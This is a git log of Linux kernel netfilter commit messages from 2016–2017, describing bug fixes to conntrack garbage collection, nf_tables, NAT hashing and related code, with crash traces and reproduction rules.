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* netfilter: conntrack: refine gc worker heuristics, reduxFlorian Westphal2017-03-12
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | commit e5072053b09642b8ff417d47da05b84720aea3ee upstream. This further refines the changes made to conntrack gc_worker in commit e0df8cae6c16 ("netfilter: conntrack: refine gc worker heuristics"). The main idea of that change was to reduce the scan interval when evictions take place. However, on the reporters' setup, there are 1-2 million conntrack entries in total and roughly 8k new (and closing) connections per second. In this case we'll always evict at least one entry per gc cycle and scan interval is always at 1 jiffy because of this test: } else if (expired_count) { gc_work->next_gc_run /= 2U; next_run = msecs_to_jiffies(1); being true almost all the time. Given we scan ~10k entries per run its clearly wrong to reduce interval based on nonzero eviction count, it will only waste cpu cycles since a vast majorities of conntracks are not timed out. Thus only look at the ratio (scanned entries vs. evicted entries) to make a decision on whether to reduce or not. Because evictor is supposed to only kick in when system turns idle after a busy period, pick a high ratio -- this makes it 50%. We thus keep the idea of increasing scan rate when its likely that table contains many expired entries. In order to not let timed-out entries hang around for too long (important when using event logging, in which case we want to timely destroy events), we now scan the full table within at most GC_MAX_SCAN_JIFFIES (16 seconds) even in worst-case scenario where all timed-out entries sit in same slot. I tested this with a vm under synflood (with sysctl net.netfilter.nf_conntrack_tcp_timeout_syn_recv=3). While flood is ongoing, interval now stays at its max rate (GC_MAX_SCAN_JIFFIES / GC_MAX_BUCKETS_DIV -> 125ms). With feedback from Nicolas Dichtel. Reported-by: Denys Fedoryshchenko <nuclearcat@nuclearcat.com> Cc: Nicolas Dichtel <nicolas.dichtel@6wind.com> Fixes: b87a2f9199ea82eaadc ("netfilter: conntrack: add gc worker to remove timed-out entries") Signed-off-by: Florian Westphal <fw@strlen.de> Tested-by: Nicolas Dichtel <nicolas.dichtel@6wind.com> Acked-by: Nicolas Dichtel <nicolas.dichtel@6wind.com> Tested-by: Denys Fedoryshchenko <nuclearcat@nuclearcat.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
* netfilter: conntrack: remove GC_MAX_EVICTS breakFlorian Westphal2017-03-12
| | | | | | | | | | | | | | commit 524b698db06b9b6da7192e749f637904e2f62d7b upstream. Instead of breaking loop and instant resched, don't bother checking this in first place (the loop calls cond_resched for every bucket anyway). Suggested-by: Nicolas Dichtel <nicolas.dichtel@6wind.com> Signed-off-by: Florian Westphal <fw@strlen.de> Acked-by: Nicolas Dichtel <nicolas.dichtel@6wind.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
* netfilter: nf_ct_helper: warn when not applying default helper assignmentJiri Kosina2017-02-26
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | commit dfe75ff8ca74f54b0fa5a326a1aa9afa485ed802 upstream. Commit 3bb398d925 ("netfilter: nf_ct_helper: disable automatic helper assignment") is causing behavior regressions in firewalls, as traffic handled by conntrack helpers is now by default not passed through even though it was before due to missing CT targets (which were not necessary before this commit). The default had to be switched off due to security reasons [1] [2] and therefore should stay the way it is, but let's be friendly to firewall admins and issue a warning the first time we're in situation where packet would be likely passed through with the old default but we're likely going to drop it on the floor now. Rewrite the code a little bit as suggested by Linus, so that we avoid spaghettiing the code even more -- namely the whole decision making process regarding helper selection (either automatic or not) is being separated, so that the whole logic can be simplified and code (condition) duplication reduced. [1] https://cansecwest.com/csw12/conntrack-attack.pdf [2] https://home.regit.org/netfilter-en/secure-use-of-helpers/ Signed-off-by: Jiri Kosina <jkosina@suse.cz> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
* netfilter: nft_range: add the missing NULL pointer checkLiping Zhang2016-11-24
| | | | | | | | | Otherwise, kernel panic will happen if the user does not specify the related attributes. Fixes: 0f3cd9b36977 ("netfilter: nf_tables: add range expression") Signed-off-by: Liping Zhang <zlpnobody@gmail.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nf_tables: fix inconsistent element expiration calculationAnders K. Pedersen2016-11-24
| | | | | | | | | | | | | | | | | | | | | | | | | | | As Liping Zhang reports, after commit a8b1e36d0d1d ("netfilter: nft_dynset: fix element timeout for HZ != 1000"), priv->timeout was stored in jiffies, while set->timeout was stored in milliseconds. This is inconsistent and incorrect. Firstly, we already call msecs_to_jiffies in nft_set_elem_init, so priv->timeout will be converted to jiffies twice. Secondly, if the user did not specify the NFTA_DYNSET_TIMEOUT attr, set->timeout will be used, but we forget to call msecs_to_jiffies when do update elements. Fix this by using jiffies internally for traditional sets and doing the conversions to/from msec when interacting with userspace - as dynset already does. This is preferable to doing the conversions, when elements are inserted or updated, because this can happen very frequently on busy dynsets. Fixes: a8b1e36d0d1d ("netfilter: nft_dynset: fix element timeout for HZ != 1000") Reported-by: Liping Zhang <zlpnobody@gmail.com> Signed-off-by: Anders K. Pedersen <akp@cohaesio.com> Acked-by: Liping Zhang <zlpnobody@gmail.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nat: switch to new rhlist interfaceFlorian Westphal2016-11-24
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | I got offlist bug report about failing connections and high cpu usage. This happens because we hit 'elasticity' checks in rhashtable that refuses bucket list exceeding 16 entries. The nat bysrc hash unfortunately needs to insert distinct objects that share same key and are identical (have same source tuple), this cannot be avoided. Switch to the rhlist interface which is designed for this. The nulls_base is removed here, I don't think its needed: A (unlikely) false positive results in unneeded port clash resolution, a false negative results in packet drop during conntrack confirmation, when we try to insert the duplicate into main conntrack hash table. Tested by adding multiple ip addresses to host, then adding iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ... and then creating multiple connections, from same source port but different addresses: for i in $(seq 2000 2032);do nc -p 1234 192.168.7.1 $i > /dev/null & done (all of these then get hashed to same bysource slot) Then, to test that nat conflict resultion is working: nc -s 10.0.0.1 -p 1234 192.168.7.1 2000 nc -s 10.0.0.2 -p 1234 192.168.7.1 2000 tcp .. src=10.0.0.1 dst=192.168.7.1 sport=1234 dport=2000 src=192.168.7.1 dst=192.168.7.10 sport=2000 dport=1024 [ASSURED] tcp .. src=10.0.0.2 dst=192.168.7.1 sport=1234 dport=2000 src=192.168.7.1 dst=192.168.7.10 sport=2000 dport=1025 [ASSURED] tcp .. src=192.168.7.10 dst=192.168.7.1 sport=1234 dport=2000 src=192.168.7.1 dst=192.168.7.10 sport=2000 dport=1234 [ASSURED] tcp .. src=192.168.7.10 dst=192.168.7.1 sport=1234 dport=2001 src=192.168.7.1 dst=192.168.7.10 sport=2001 dport=1234 [ASSURED] [..] -> nat altered source ports to 1024 and 1025, respectively. This can also be confirmed on destination host which shows ESTAB 0 0 192.168.7.1:2000 192.168.7.10:1024 ESTAB 0 0 192.168.7.1:2000 192.168.7.10:1025 ESTAB 0 0 192.168.7.1:2000 192.168.7.10:1234 Cc: Herbert Xu <herbert@gondor.apana.org.au> Fixes: 870190a9ec907 ("netfilter: nat: convert nat bysrc hash to rhashtable") Signed-off-by: Florian Westphal <fw@strlen.de> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nat: fix cmp return valueFlorian Westphal2016-11-24
| | | | | | | | | | | | | | | The comparator works like memcmp, i.e. 0 means objects are equal. In other words, when objects are distinct they are treated as identical, when they are distinct they are allegedly the same. The first case is rare (distinct objects are unlikely to get hashed to same bucket). The second case results in unneeded port conflict resolutions attempts. Fixes: 870190a9ec907 ("netfilter: nat: convert nat bysrc hash to rhashtable") Signed-off-by: Florian Westphal <fw@strlen.de> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nft_hash: validate maximum value of u32 netlink hash attributeLaura Garcia Liebana2016-11-24
| | | | | | | | | | | | Use the function nft_parse_u32_check() to fetch the value and validate the u32 attribute into the hash len u8 field. This patch revisits 4da449ae1df9 ("netfilter: nft_exthdr: Add size check on u8 nft_exthdr attributes"). Fixes: cb1b69b0b15b ("netfilter: nf_tables: add hash expression") Signed-off-by: Laura Garcia Liebana <nevola@gmail.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nf_tables: fix oops when inserting an element into a verdict mapLiping Zhang2016-11-08
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Dalegaard says: The following ruleset, when loaded with 'nft -f bad.txt' ----snip---- flush ruleset table ip inlinenat { map sourcemap { type ipv4_addr : verdict; } chain postrouting { ip saddr vmap @sourcemap accept } } add chain inlinenat test add element inlinenat sourcemap { 100.123.10.2 : jump test } ----snip---- results in a kernel oops: BUG: unable to handle kernel paging request at 0000000000001344 IP: [<ffffffffa07bf704>] nf_tables_check_loops+0x114/0x1f0 [nf_tables] [...] Call Trace: [<ffffffffa07c2aae>] ? nft_data_init+0x13e/0x1a0 [nf_tables] [<ffffffffa07c1950>] nft_validate_register_store+0x60/0xb0 [nf_tables] [<ffffffffa07c74b5>] nft_add_set_elem+0x545/0x5e0 [nf_tables] [<ffffffffa07bfdd0>] ? nft_table_lookup+0x30/0x60 [nf_tables] [<ffffffff8132c630>] ? nla_strcmp+0x40/0x50 [<ffffffffa07c766e>] nf_tables_newsetelem+0x11e/0x210 [nf_tables] [<ffffffff8132c400>] ? nla_validate+0x60/0x80 [<ffffffffa030d9b4>] nfnetlink_rcv+0x354/0x5a7 [nfnetlink] Because we forget to fill the net pointer in bind_ctx, so dereferencing it may cause kernel crash. Reported-by: Dalegaard <dalegaard@gmail.com> Signed-off-by: Liping Zhang <zlpnobody@gmail.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: conntrack: refine gc worker heuristicsFlorian Westphal2016-11-08
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Nicolas Dichtel says: After commit b87a2f9199ea ("netfilter: conntrack: add gc worker to remove timed-out entries"), netlink conntrack deletion events may be sent with a huge delay. Nicolas further points at this line: goal = min(nf_conntrack_htable_size / GC_MAX_BUCKETS_DIV, GC_MAX_BUCKETS); and indeed, this isn't optimal at all. Rationale here was to ensure that we don't block other work items for too long, even if nf_conntrack_htable_size is huge. But in order to have some guarantee about maximum time period where a scan of the full conntrack table completes we should always use a fixed slice size, so that once every N scans the full table has been examined at least once. We also need to balance this vs. the case where the system is either idle (i.e., conntrack table (almost) empty) or very busy (i.e. eviction happens from packet path). So, after some discussion with Nicolas: 1. want hard guarantee that we scan entire table at least once every X s -> need to scan fraction of table (get rid of upper bound) 2. don't want to eat cycles on idle or very busy system -> increase interval if we did not evict any entries 3. don't want to block other worker items for too long -> make fraction really small, and prefer small scan interval instead 4. Want reasonable short time where we detect timed-out entry when system went idle after a burst of traffic, while not doing scans all the time. -> Store next gc scan in worker, increasing delays when no eviction happened and shrinking delay when we see timed out entries. The old gc interval is turned into a max number, scans can now happen every jiffy if stale entries are present. Longest possible time period until an entry is evicted is now 2 minutes in worst case (entry expires right after it was deemed 'not expired'). Reported-by: Nicolas Dichtel <nicolas.dichtel@6wind.com> Signed-off-by: Florian Westphal <fw@strlen.de> Acked-by: Nicolas Dichtel <nicolas.dichtel@6wind.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: conntrack: fix CT target for UNSPEC helpersFlorian Westphal2016-11-08
| | | | | | | | | | | | | | | | | Thomas reports its not possible to attach the H.245 helper: iptables -t raw -A PREROUTING -p udp -j CT --helper H.245 iptables: No chain/target/match by that name. xt_CT: No such helper "H.245" This is because H.245 registers as NFPROTO_UNSPEC, but the CT target passes NFPROTO_IPV4/IPV6 to nf_conntrack_helper_try_module_get. We should treat UNSPEC as wildcard and ignore the l3num instead. Reported-by: Thomas Woerner <twoerner@redhat.com> Signed-off-by: Florian Westphal <fw@strlen.de> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: connmark: ignore skbs with magic untracked conntrack objectsFlorian Westphal2016-11-08
| | | | | | | | | | | | | | | | | | | The (percpu) untracked conntrack entries can end up with nonzero connmarks. The 'untracked' conntrack objects are merely a way to distinguish INVALID (i.e. protocol connection tracker says payload doesn't meet some requirements or packet was never seen by the connection tracking code) from packets that are intentionally not tracked (some icmpv6 types such as neigh solicitation, or by using 'iptables -j CT --notrack' option). Untracked conntrack objects are implementation detail, we might as well use invalid magic address instead to tell INVALID and UNTRACKED apart. Check skb->nfct for untracked dummy and behave as if skb->nfct is NULL. Reported-by: XU Tianwen <evan.xu.tianwen@gmail.com> Signed-off-by: Florian Westphal <fw@strlen.de> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* ipvs: use IPVS_CMD_ATTR_MAX for family.maxattrWANG Cong2016-11-08
| | | | | | | | | | | | family.maxattr is the max index for policy[], the size of ops[] is determined with ARRAY_SIZE(). Reported-by: Andrey Konovalov <andreyknvl@google.com> Tested-by: Andrey Konovalov <andreyknvl@google.com> Cc: Pablo Neira Ayuso <pablo@netfilter.org> Signed-off-by: Cong Wang <xiyou.wangcong@gmail.com> Signed-off-by: Simon Horman <horms@verge.net.au> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nf_tables: destroy the set if fail to add transactionLiping Zhang2016-10-31
| | | | | | | | | When the memory is exhausted, then we will fail to add the NFT_MSG_NEWSET transaction. In such case, we should destroy the set before we free it. Fixes: 958bee14d071 ("netfilter: nf_tables: use new transaction infrastructure to handle sets") Signed-off-by: Liping Zhang <zlpnobody@gmail.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: ip_vs_sync: fix bogus maybe-uninitialized warningArnd Bergmann2016-10-28
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Building the ip_vs_sync code with CONFIG_OPTIMIZE_INLINING on x86 confuses the compiler to the point where it produces a rather dubious warning message: net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.init_seq’ may be used uninitialized in this function [-Werror=maybe-uninitialized] struct ip_vs_sync_conn_options opt; ^~~ net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized] net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.previous_delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized] net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void *)&opt+12).init_seq’ may be used uninitialized in this function [-Werror=maybe-uninitialized] net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void *)&opt+12).delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized] net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void *)&opt+12).previous_delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized] The problem appears to be a combination of a number of factors, including the __builtin_bswap32 compiler builtin being slightly odd, having a large amount of code inlined into a single function, and the way that some functions only get partially inlined here. I've spent way too much time trying to work out a way to improve the code, but the best I've come up with is to add an explicit memset right before the ip_vs_seq structure is first initialized here. When the compiler works correctly, this has absolutely no effect, but in the case that produces the warning, the warning disappears. In the process of analysing this warning, I also noticed that we use memcpy to copy the larger ip_vs_sync_conn_options structure over two members of the ip_vs_conn structure. This works because the layout is identical, but seems error-prone, so I'm changing this in the process to directly copy the two members. This change seemed to have no effect on the object code or the warning, but it deals with the same data, so I kept the two changes together. Signed-off-by: Arnd Bergmann <arnd@arndb.de> Acked-by: Julian Anastasov <ja@ssi.bg> Signed-off-by: Simon Horman <horms@verge.net.au> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nf_tables: fix type mismatch with error return from ↵John W. Linville2016-10-27
| | | | | | | | | | | | | | | | | | | | | | | | nft_parse_u32_check Commit 36b701fae12ac ("netfilter: nf_tables: validate maximum value of u32 netlink attributes") introduced nft_parse_u32_check with a return value of "unsigned int", yet on error it returns "-ERANGE". This patch corrects the mismatch by changing the return value to "int", which happens to match the actual users of nft_parse_u32_check already. Found by Coverity, CID 1373930. Note that commit 21a9e0f1568ea ("netfilter: nft_exthdr: fix error handling in nft_exthdr_init()) attempted to address the issue, but did not address the return type of nft_parse_u32_check. Signed-off-by: John W. Linville <linville@tuxdriver.com> Cc: Laura Garcia Liebana <nevola@gmail.com> Cc: Pablo Neira Ayuso <pablo@netfilter.org> Cc: Dan Carpenter <dan.carpenter@oracle.com> Fixes: 36b701fae12ac ("netfilter: nf_tables: validate maximum value...") Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nf_conntrack_sip: extend request line validationUlrich Weber2016-10-27
| | | | | | | | | | | | | | | | on SIP requests, so a fragmented TCP SIP packet from an allow header starting with INVITE,NOTIFY,OPTIONS,REFER,REGISTER,UPDATE,SUBSCRIBE Content-Length: 0 will not bet interpreted as an INVITE request. Also Request-URI must start with an alphabetic character. Confirm with RFC 3261 Request-Line = Method SP Request-URI SP SIP-Version CRLF Fixes: 30f33e6dee80 ("[NETFILTER]: nf_conntrack_sip: support method specific request/response handling") Signed-off-by: Ulrich Weber <ulrich.weber@riverbed.com> Acked-by: Marco Angaroni <marcoangaroni@gmail.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nf_tables: fix race when create new element in dynsetLiping Zhang2016-10-27
| | | | | | | | | | | | | | | Packets may race when create the new element in nft_hash_update: CPU0 CPU1 lookup_fast - fail lookup_fast - fail new - ok new - ok insert - ok insert - fail(EEXIST) So when race happened, we reuse the existing element. Otherwise, these *racing* packets will not be handled properly. Fixes: 22fe54d5fefc ("netfilter: nf_tables: add support for dynamic set updates") Signed-off-by: Liping Zhang <zlpnobody@gmail.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nf_tables: fix *leak* when expr clone failLiping Zhang2016-10-27
| | | | | | | | | | | | | | | | | | When nft_expr_clone failed, a series of problems will happen: 1. module refcnt will leak, we call __module_get at the beginning but we forget to put it back if ops->clone returns fail 2. memory will be leaked, if clone fail, we just return NULL and forget to free the alloced element 3. set->nelems will become incorrect when set->size is specified. If clone fail, we should decrease the set->nelems Now this patch fixes these problems. And fortunately, clone fail will only happen on counter expression when memory is exhausted. Fixes: 086f332167d6 ("netfilter: nf_tables: add clone interface to expression operations") Signed-off-by: Liping Zhang <zlpnobody@gmail.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nft_dynset: fix panic if NFT_SET_HASH is not enabledLiping Zhang2016-10-27
| | | | | | | | | | | | | | | | | | | | | | | | | | | | When CONFIG_NFT_SET_HASH is not enabled and I input the following rule: "nft add rule filter output flow table test {ip daddr counter }", kernel panic happened on my system: BUG: unable to handle kernel NULL pointer dereference at (null) IP: [< (null)>] (null) [...] Call Trace: [<ffffffffa0590466>] ? nft_dynset_eval+0x56/0x100 [nf_tables] [<ffffffffa05851bb>] nft_do_chain+0xfb/0x4e0 [nf_tables] [<ffffffffa0432f01>] ? nf_conntrack_tuple_taken+0x61/0x210 [nf_conntrack] [<ffffffffa0459ea6>] ? get_unique_tuple+0x136/0x560 [nf_nat] [<ffffffffa043bca1>] ? __nf_ct_ext_add_length+0x111/0x130 [nf_conntrack] [<ffffffffa045a357>] ? nf_nat_setup_info+0x87/0x3b0 [nf_nat] [<ffffffff81761e27>] ? ipt_do_table+0x327/0x610 [<ffffffffa045a6d7>] ? __nf_nat_alloc_null_binding+0x57/0x80 [nf_nat] [<ffffffffa059f21f>] nft_ipv4_output+0xaf/0xd0 [nf_tables_ipv4] [<ffffffff81702515>] nf_iterate+0x55/0x60 [<ffffffff81702593>] nf_hook_slow+0x73/0xd0 Because in rbtree type set, ops->update is not implemented. So just keep it simple, in such case, report -EOPNOTSUPP to the user space. Fixes: 22fe54d5fefc ("netfilter: nf_tables: add support for dynamic set updates") Signed-off-by: Liping Zhang <zlpnobody@gmail.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: fix nf_queue handlingPablo Neira Ayuso2016-10-20
| | | | | | | | | | | | | | | | | | | | | | | nf_queue handling is broken since e3b37f11e6e4 ("netfilter: replace list_head with single linked list") for two reasons: 1) If the bypass flag is set on, there are no userspace listeners and we still have more hook entries to iterate over, then jump to the next hook. Otherwise accept the packet. On nf_reinject() path, the okfn() needs to be invoked. 2) We should not re-enter the same hook on packet reinjection. If the packet is accepted, we have to skip the current hook from where the packet was enqueued, otherwise the packets gets enqueued over and over again. This restores the previous list_for_each_entry_continue() behaviour happening from nf_iterate() that was dealing with these two cases. This patch introduces a new nf_queue() wrapper function so this fix becomes simpler. Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list") Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: conntrack: restart gc immediately if GC_MAX_EVICTS is reachedNicolas Dichtel2016-10-20
| | | | | | | | | | When the maximum evictions number is reached, do not wait 5 seconds before the next run. CC: Florian Westphal <fw@strlen.de> Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com> Acked-by: Florian Westphal <fw@strlen.de> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: x_tables: suppress kmemcheck warningFlorian Westphal2016-10-19
| | | | | | | | | | | | | | | | | | | | | | | | | | | Markus Trippelsdorf reports: WARNING: kmemcheck: Caught 64-bit read from uninitialized memory (ffff88001e605480) 4055601e0088ffff000000000000000090686d81ffffffff0000000000000000 u u u u u u u u u u u u u u u u i i i i i i i i u u u u u u u u ^ |RIP: 0010:[<ffffffff8166e561>] [<ffffffff8166e561>] nf_register_net_hook+0x51/0x160 [..] [<ffffffff8166e561>] nf_register_net_hook+0x51/0x160 [<ffffffff8166eaaf>] nf_register_net_hooks+0x3f/0xa0 [<ffffffff816d6715>] ipt_register_table+0xe5/0x110 [..] This warning is harmless; we copy 'uninitialized' data from the hook ops but it will not be used. Long term the structures keeping run-time data should be disentangled from those only containing config-time data (such as where in the list to insert a hook), but thats -next material. Reported-by: Markus Trippelsdorf <markus@trippelsdorf.de> Suggested-by: Al Viro <viro@ZenIV.linux.org.uk> Signed-off-by: Florian Westphal <fw@strlen.de> Acked-by: Aaron Conole <aconole@bytheb.org> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nf_tables: avoid uninitialized variable warningArnd Bergmann2016-10-18
| | | | | | | | | | | | | | | | | | | | | The newly added nft_range_eval() function handles the two possible nft range operations, but as the compiler warning points out, any unexpected value would lead to the 'mismatch' variable being used without being initialized: net/netfilter/nft_range.c: In function 'nft_range_eval': net/netfilter/nft_range.c:45:5: error: 'mismatch' may be used uninitialized in this function [-Werror=maybe-uninitialized] This removes the variable in question and instead moves the condition into the switch itself, which is potentially more efficient than adding a bogus 'default' clause as in my first approach, and is nicer than using the 'uninitialized_var' macro. Fixes: 0f3cd9b36977 ("netfilter: nf_tables: add range expression") Link: http://patchwork.ozlabs.org/patch/677114/ Signed-off-by: Arnd Bergmann <arnd@arndb.de> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nft_range: validate operation netlink attributePablo Neira Ayuso2016-10-17
| | | | | | | | | Use nft_parse_u32_check() to make sure we don't get a value over the unsigned 8-bit integer. Moreover, make sure this value doesn't go over the two supported range comparison modes. Fixes: 9286c2eb1fda ("netfilter: nft_range: validate operation netlink attribute") Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nft_exthdr: fix error handling in nft_exthdr_init()Dan Carpenter2016-10-17
| | | | | | | | "err" needs to be signed for the error handling to work. Fixes: 36b701fae12a ('netfilter: nf_tables: validate maximum value of u32 netlink attributes') Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nf_tables: underflow in nft_parse_u32_check()Dan Carpenter2016-10-17
| | | | | | | | We don't want to allow negatives here. Fixes: 36b701fae12a ('netfilter: nf_tables: validate maximum value of u32 netlink attributes') Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nft_hash: add missing NFTA_HASH_OFFSET's nla_policyLiping Zhang2016-10-17
| | | | | | | | | Missing the nla_policy description will also miss the validation check in kernel. Fixes: 70ca767ea1b2 ("netfilter: nft_hash: Add hash offset value") Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: xt_ipcomp: add "ip[6]t_ipcomp" module alias nameLiping Zhang2016-10-17
| | | | | | | | | Otherwise, user cannot add related rules if xt_ipcomp.ko is not loaded: # iptables -A OUTPUT -p 108 -m ipcomp --ipcompspi 1 iptables: No chain/target/match by that name. Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: xt_NFLOG: fix unexpected truncated packetLiping Zhang2016-10-17
| | | | | | | | | | | | | | | | | Justin and Chris spotted that iptables NFLOG target was broken when they upgraded the kernel to 4.8: "ulogd-2.0.5- IPs are no longer logged" or "results in segfaults in ulogd-2.0.5". Because "struct nf_loginfo li;" is a local variable, and flags will be filled with garbage value, not inited to zero. So if it contains 0x1, packets will not be logged to the userspace anymore. Fixes: 7643507fe8b5 ("netfilter: xt_NFLOG: nflog-range does not truncate packets") Reported-by: Justin Piszcz <jpiszcz@lucidpixels.com> Reported-by: Chris Caputo <ccaputo@alt.net> Tested-by: Chris Caputo <ccaputo@alt.net> Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: nft_dynset: fix element timeout for HZ != 1000Anders K. Pedersen2016-10-17
| | | | | | | | | | | | | | With HZ=100 element timeout in dynamic sets (i.e. flow tables) is 10 times higher than configured. Add proper conversion to/from jiffies, when interacting with userspace. I tested this on Linux 4.8.1, and it applies cleanly to current nf and nf-next trees. Fixes: 22fe54d5fefc ("netfilter: nf_tables: add support for dynamic set updates") Signed-off-by: Anders K. Pedersen <akp@cohaesio.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: xt_hashlimit: Add missing ULL suffixes for 64-bit constantsGeert Uytterhoeven2016-10-17
| | | | | | | | | | | | | | | | | | | | On 32-bit (e.g. with m68k-linux-gnu-gcc-4.1): net/netfilter/xt_hashlimit.c: In function ‘user2credits’: net/netfilter/xt_hashlimit.c:476: warning: integer constant is too large for ‘long’ type ... net/netfilter/xt_hashlimit.c:478: warning: integer constant is too large for ‘long’ type ... net/netfilter/xt_hashlimit.c:480: warning: integer constant is too large for ‘long’ type ... net/netfilter/xt_hashlimit.c: In function ‘rateinfo_recalc’: net/netfilter/xt_hashlimit.c:513: warning: integer constant is too large for ‘long’ type Fixes: 11d5f15723c9f39d ("netfilter: xt_hashlimit: Create revision 2 to support higher pps rates") Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org> Acked-by: Vishwanath Pai <vpai@akamai.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: Fix slab corruption.Linus Torvalds2016-10-11
| | | | | | | | | | | | | | Use the correct pattern for singly linked list insertion and deletion. We can also calculate the list head outside of the mutex. Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list") Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> Reviewed-by: Aaron Conole <aconole@bytheb.org> Signed-off-by: David S. Miller <davem@davemloft.net> net/netfilter/core.c | 108 ++++++++++++++++----------------------------------- 1 file changed, 33 insertions(+), 75 deletions(-)
* netfilter: nft_limit: fix divided by zero panicLiping Zhang2016-10-04
| | | | | | | | | | | | | | | | | | | | | | | | | | | After I input the following nftables rule, a panic happened on my system: # nft add rule filter OUTPUT limit rate 0xf00000000 bytes/second divide error: 0000 [#1] SMP [ ... ] RIP: 0010:[<ffffffffa059035e>] [<ffffffffa059035e>] nft_limit_pkt_bytes_eval+0x2e/0xa0 [nft_limit] Call Trace: [<ffffffffa05721bb>] nft_do_chain+0xfb/0x4e0 [nf_tables] [<ffffffffa044f236>] ? nf_nat_setup_info+0x96/0x480 [nf_nat] [<ffffffff81753767>] ? ipt_do_table+0x327/0x610 [<ffffffffa044f677>] ? __nf_nat_alloc_null_binding+0x57/0x80 [nf_nat] [<ffffffffa058b21f>] nft_ipv4_output+0xaf/0xd0 [nf_tables_ipv4] [<ffffffff816f4aa2>] nf_iterate+0x62/0x80 [<ffffffff816f4b33>] nf_hook_slow+0x73/0xd0 [<ffffffff81703d0d>] __ip_local_out+0xcd/0xe0 [<ffffffff81701d90>] ? ip_forward_options+0x1b0/0x1b0 [<ffffffff81703d3c>] ip_local_out+0x1c/0x40 This is because divisor is 64-bit, but we treat it as a 32-bit integer, then 0xf00000000 becomes zero, i.e. divisor becomes 0. Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
* netfilter: fix namespace handling in nf_log_proc_dostringJann Horn2016-10-04
